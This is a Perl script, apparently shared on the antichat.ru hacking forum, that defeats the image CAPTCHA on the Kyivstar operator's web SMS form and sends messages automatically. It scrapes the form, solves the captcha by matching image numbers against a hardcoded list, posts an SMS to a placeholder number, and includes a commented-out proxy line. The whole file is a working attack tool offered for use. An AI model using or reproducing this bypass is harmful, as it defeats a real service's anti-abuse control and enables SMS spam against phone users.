#!/usr/bin/perl

use LWP::UserAgent;
use strict;
use warnings;

print q(
         -------------------------------------- 
        |                          | - | + | x |
         -------------------------------------- 
        |   specical for antichat.ru   _______ |
        |   ------------------------- |       ||  
        |      icq:212-905-288        |   ?   ||
        |   ------------------------- |_______||
         -------------------------------------- );

  my $ua  = LWP::UserAgent->new;
  my $url = 'http://www.kyivstar.net/_sms/';
  
  my @good_img = ( '22','24','25','26','27','29','30',
                   '31','34','48','54','58','59',
                   '60','61','65','66','67' );
                                   
  my ( $count ,$i ,$len_c ,$code_4,$k,$curr_n_img );
  my ( @n_img,@img_code,@con_code);



  my $request = HTTP::Request->new(GET => $url);
  my $response = $ua->request($request);
  my $res = $response->content;
  #print $res; 
  @img_code = ( $res =~ m/<img src="(\w+)"/gi);
  @con_code = ( $res =~ m/<input type="hidden" name="code" id="code_(\d+)" value="(\w+)"/gi);
  

  for(0..8) 
  {
         $i++;
         $len_c = length($img_code[$_]);
         $n_img[$i] = substr($img_code[$_],$len_c-2,2);
         #print "$i| $img_code[$_] = $n_img[$i]\n"; 
  }
 
 

   for(0..8)
   {
      $k++;
      $curr_n_img = $n_img[$k];
      for(0..17)
      {
         if( $curr_n_img == $good_img[$_] ) 
         { 
            #print "[$k] $curr_n_img\n"; 
            $code_4.="0$k";
         }
      }
   }
$con_code[4]=$code_4; #check
send_function(@con_code);




#----------------------------------
sub send_function
{
  #exit;
  my @code=@_;
  my $browser = LWP::UserAgent->new; 			   
     $browser->agent('New captcha v3.0');	
     #$browser->proxy(['http'] => 'http://218.223.221.217:8080/');  
	 
  my $mob_code     = "097";
  my $mob_number   = "XXXXXXX";
  my $messenge     = "hello_antichat.ru";


  printf "\n\n\t[+]Send   %s-%s \n\tmessage:  \<<%s\>> \n",
          $mob_code,$mob_number,$messenge ;
    
  my $url="http://kyivstar.net/_sms/";
  my $response = $browser->post($url,
       ["submitted"    => "true",        
        "lang"         => "ua",
        "sms_adv"      => "101",       
        "mobcode"      => $mob_code,
        "number"       => $mob_number, 
        "lat"          => 1,
        "message"      => $messenge,
        "code"         => $code[1],
        "code"         => $code[3],
        "code"         => $code[5],
        "code"         => $code[4],#check
        "code"         => $code[7],
        "code"         => $code[9],
        "code"         => $code[11],
        "code"         => $code[13]],
        "Content-Type" => "application/x-www-form-urlencoded",
        "Referer"      => "http://kyivstar.net/_sms/",
        "Connection"   => "Keep-Alive",
        "Cache-Control"=> "no-cache");	
  my $status= $response->as_string();
    ( $status =~/messageID/g )?print "[+] Good send\n":print "[-] Not send!";
  

}